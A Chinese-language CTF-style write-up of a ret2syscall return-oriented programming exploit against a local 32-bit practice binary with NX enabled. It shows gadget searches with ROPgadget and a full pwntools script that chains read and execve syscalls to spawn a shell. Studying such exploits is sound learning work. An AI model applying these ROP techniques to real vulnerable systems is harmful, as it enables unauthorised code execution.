ROP(Return-Oriented Programming,返回导向编程)是一种利用程序已有代码片段来执行任意指令的攻击技术,常用于绕过现代系统的安全机制,尤其是不可执行栈(NX)。
常规检查一下:
32 位程序,小端序,开启了 NX 保护
先用 gdb 测一下偏移:
拿到:
offset = 44
我们 ret2syscall 实际还是希望调用 execve,和 ret2shellcode 类似,只是多了堆栈不可执行
所有我们先找 pop eax;ret 的地址
ROPgadget --binary ret2sys --only "pop|ret" | grep "eax"
拿到:
pop_eax = 0x080bb2c6
继续找另外三个寄存器:
ROPgadget --binary ret2sys --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"ROPgadget --binary
也有,记录地址:
pop_edx_ecx_ebx = 0x0806ecb0
接下来我们找 /bin/sh 字符串的地址
ROPgadget --binary ret2sys --string "/bin/sh"
没有找到,因此我们后面需要手动将 /bin/sh 写到 bss 段
我们先继续找系统调用:
ROPgadget --binary ret2sys --only "int" | grep 0x80
记录地址:
int_0x80 = 0x08049421 //这里有点问题,实际地址应该是0x0806F350
接下来我们需要手动写入 /bin/sh ,找一个具有写权限的段:
我们就从这个 0x80eb000 开始写吧
bss_addr = 0x80eb000
我们先系统调用 read,其 32 位系统调用号是 3,即 0x3
payload:
p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)
后面我们会继续发送内容(/bin/sh)给 read 函数,读取到 bss_addr
由于栈帧是一次性的,因此我们需要一次性把完整的 ROP 链打进去
并且 Linux 下的 int 0x80 系统调用(read)是阻塞型的同步调用
我们继续调用 execve,其 32 位系统调用号是 11,即 0xb
payload:
p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
最后再发送 /bin/sh 给read函数,完整 exp:
# @author:My6n
# @time:20250507
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./ret2sys')
offset = 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()
没有问题